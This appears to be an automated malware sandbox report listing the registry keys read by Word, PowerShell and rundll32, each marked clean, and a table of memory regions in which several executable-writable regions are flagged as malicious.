C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Aparajita
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arabic Typesetting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Narrow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Rounded MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Arial Unicode MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Baskerville Old Face
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Batang
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BatangChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bauhaus 93
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bell MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Berlin Sans FB Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bernard MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Blackadder ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bodoni MT Poster Compressed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Book Antiqua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookman Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bookshelf Symbol 7
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Bradley Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Britannic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Broadway
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Browallia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
BrowalliaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Brush Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calibri Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Californian FB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Calisto MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Candara
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Castellar
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Centaur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Century Schoolbook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Chiller
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Colonna MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Comic Sans MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Consolas
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Constantia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cooper Black
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Copperplate Gothic Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Corbel
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cordia New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
CordiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Courier New
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Curlz MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DaunPenh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
David
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DFKai-SB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DilleniaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DokChampa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Dotum
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
DotumChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ebrima
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Edwardian Script ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Elephant
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Engravers MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Bold ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Demi ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Light ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Eras Medium ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Estrangelo Edessa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
EucrosiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Euphemia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FangSong
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Felix Titling
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Footlight MT Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Forte
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Book
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Demi Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Heavy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Franklin Gothic Medium Cond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FrankRuehl
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
FreesiaUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Freestyle Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
French Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gabriola
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Garamond
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gautami
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Georgia
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gigi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans MT Ext Condensed Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gill Sans Ultra Bold Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gisha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gloucester MT Extra Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Old Style
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Goudy Stout
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gulim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GulimChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Gungsuh
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
GungsuhChe
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Haettenschweiler
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harlow Solid Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Harrington
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
High Tower Text
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Impact
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Imprint MT Shadow
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Informal Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
IrisUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Iskoola Pota
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
JasmineUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Jokerman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Juice ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KaiTi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kalinga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kartika
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Khmer UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
KodchiangUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kokila
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kristen ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Kunstler Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lao UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Latha
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Leelawadee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Levenim MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LilyUPC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Bright
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Calligraphy
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Console
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Fax
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Handwriting
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Typewriter
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Lucida Sans Unicode
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Magneto
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Maiandra GD
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Malgun Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mangal
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Marlett
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Matura MT Script Capitals
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Meiryo UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Himalaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft JhengHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft New Tai Lue
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft PhagsPa
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Tai Le
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Uighur
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft YaHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Microsoft Yi Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU_HKSCS-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Miriam Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mistral
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Modern No. 20
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Mongolian Baiti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Monotype Corsiva
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MoolBoran
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Mincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Outlook
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PGothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS PMincho
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Sans Serif
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS Reference Specialty
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MS UI Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MT Extra
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MV Boli
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Narkisim
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Engraved
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Niagara Solid
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
NSimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Nyala
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
OCR A Extended
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Old English Text MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Onyx
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palace Script MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Palatino Linotype
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Papyrus
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Parchment
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Perpetua Titling MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Plantagenet Cherokee
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Playbill
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
PMingLiU-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Poor Richard
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Pristina
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Raavi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rage Italic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Ravie
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rockwell Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Rod
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sakkal Majalla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Script MT Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Print
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Light
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Semibold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Segoe UI Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shonar Bangla
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Showcard Gothic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Shruti
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimHei
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Simplified Arabic Fixed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SimSun-ExtB
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Snap ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Stencil
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Sylfaen
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Symbol
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tempus Sans ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Times New Roman
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Traditional Arabic
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Trebuchet MS
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tunga
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tw Cen MT Condensed Extra Bold
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Utsaah
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vani
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Verdana
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vijaya
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Viner Hand ITC
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vivaldi
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vladimir Script
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Vrinda
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Webdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wide Latin
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 2
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Wingdings 3
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Cambria Math
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Tahoma
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F6E6C
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
LastPurgeTime
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
WORDFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_3082
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1036
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
SpellingAndGrammarFiles_1033
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
F6E6C
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
Settings
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ZoomApp
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
ProductFiles
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTF
 clean
C:\Program Files\Microsoft Office\Office14\WINWORD.EXE
MTTA
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableFileTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
EnableConsoleTracing
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
ConsoleTracingMask
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
MaxFileSize
 clean
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
FileDirectory
 clean
C:\Windows\SysWOW64\rundll32.exe
SavedLegacySettings
 clean
There are 326 hidden registries, click here to show them.

Memdumps

Base Address
Regiontype
Protect
Malicious
1C0000
unkown
page execute and read and write
 malicious
1C0000
unkown
page execute and read and write
 malicious
130000
unkown
page execute and read and write
 malicious
1A0000
unkown
page execute and read and write
 malicious
3B0000
unkown
page execute and read and write
 malicious
220000
unkown
page execute and read and write
 malicious
2A0000
unkown
page execute and read and write
 malicious
1A0000
unkown
page execute and read and write
 malicious
1C0000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
1A0000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
720000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
1E0000
unkown
page execute and read and write
 malicious
1C0000
unkown
page execute and read and write
 malicious
1C0000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
1C0000
unkown
page execute and read and write
 malicious
6D0000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
6B0000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
100000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
200000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
260000
unkown
page execute and read and write
 malicious
1A0000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
1C0000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
1A0000
unkown
page execute and read and write
 malicious
220000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
10000000
unkown
page execute and read and write
 malicious
2A84000
heap private
page read and write
 clean
2820000
unkown
page readonly
 clean
B60000
unkown
page write copy
 clean
34F9000
unkown
page read and write
 clean
300000
heap private
page read and write
 clean
34E9000
unkown
page read and write
 clean
670000
heap default
page read and write
 clean
8B0000
unkown
page readonly
 clean
3E0000
heap default
page read and write
 clean
2BBE000
unkown
page read and write
 clean
250000
unkown
page read and write
 clean
24C0000
unkown
page readonly
 clean
2FE2000
unkown
page read and write
 clean
3163000
unkown
page read and write
 clean
1B48D000
unkown
page read and write
 clean
30BE000
unkown
page read and write
 clean
B37000
unkown
page readonly
 clean
282C000
unkown
page readonly
 clean
A50000
unkown
page readonly
 clean
350000
heap default
page read and write
 clean
3AE000
heap default
page read and write
 clean
29CF000
unkown
page read and write
 clean
2720000
unkown
page read and write
 clean
650000
unkown
page readonly
 clean
D0000
unkown
page read and write
 clean
DAD000
stack
page read and write
 clean
24B000
unkown
page read and write
 clean
5C0000
heap default
page read and write
 clean
180000
unkown
page read and write
 clean
304000
heap private
page read and write
 clean
170000
unkown
page execute and read and write
 clean
7EFDF000
unkown
page read and write
 clean
2720000
unkown
page read and write
 clean
30E6000
unkown
page read and write
 clean
260000
unkown
page readonly
 clean
2720000
unkown
page read and write
 clean
21F0000
unkown
page readonly
 clean
2B84000
unkown
page read and write
 clean
2720000
unkown
page read and write
 clean
150000
heap private
page read and write
 clean
297000
heap default
page read and write
 clean
6CD000
heap default
page read and write
 clean
370000
unkown
page readonly
 clean
430000
unkown
page readonly
 clean
160000
unkown
page readonly
 clean
170000
heap private
page read and write
 clean
2F8C000
unkown
page read and write
 clean
970000
heap private
page read and write
 clean
90000
unkown
page read and write
 clean
33D000
heap default
page read and write
 clean
750000
unkown
page readonly
 clean
2CB0000
heap private
page read and write
 clean
657000
heap default
page read and write
 clean
344C000
unkown
page read and write
 clean
200000
heap private
page read and write
 clean
2720000
unkown
page read and write
 clean
1C75E000
unkown
page read and write
 clean
B4F000
unkown
page read and write
 clean
850000
unkown
page readonly
 clean
1D80000
heap private
page read and write
 clean
3160000
unkown
page read and write
 clean
367000
heap default
page read and write
 clean
200000
unkown
page readonly
 clean
8B0000
heap private
page read and write
 clean
6F3000
unkown
page execute and read and write
 clean
20000
heap private
page read and write
 clean
23D7000
unkown
page readonly
 clean
2B0000
unkown
page readonly
 clean
7F0000
unkown
page readonly
 clean
2F36000
unkown
page read and write
 clean
2C55000
unkown
page read and write
 clean
7FF00270000
unkown
page execute and read and write
 clean
120000
heap default
page read and write
 clean
10023000
unkown
page execute and read and write
 clean
2610000
unkown
page readonly
 clean
1AC000
stack
page read and write
 clean
2D0000
heap private
page read and write
 clean
B57000
heap private
page read and write
 clean
1E1000
unkown
page execute and read and write
 clean
AFE000
unkown
page read and write
 clean
60000
heap default
page read and write
 clean
23D7000
unkown
page readonly
 clean
281000
unkown
page execute and read and write
 clean
307000
heap default
page read and write
 clean
318F000
unkown
page read and write
 clean
7FFFFF10000
unkown
page execute and read and write
 clean
DB2000
heap private
page read and write
 clean
1B37D000
unkown
page read and write
 clean
31E8000
unkown
page read and write
 clean
440000
unkown
page readonly
 clean
10000000
unkown image
page readonly
 clean
6B4000
heap default
page read and write
 clean
1E47000
unkown
page readonly
 clean
225E000
stack
page read and write
 clean
450000
heap default
page read and write
 clean
2AC0000
unkown
page write copy
 clean
3C0000
heap private
page read and write
 clean
1C61E000
unkown
page read and write
 clean
66F000
heap default
page read and write
 clean
160000
unkown
page readonly
 clean
700000
unkown
page readonly
 clean
2720000
unkown
page read and write
 clean
39DD000
unkown
page read and write
 clean
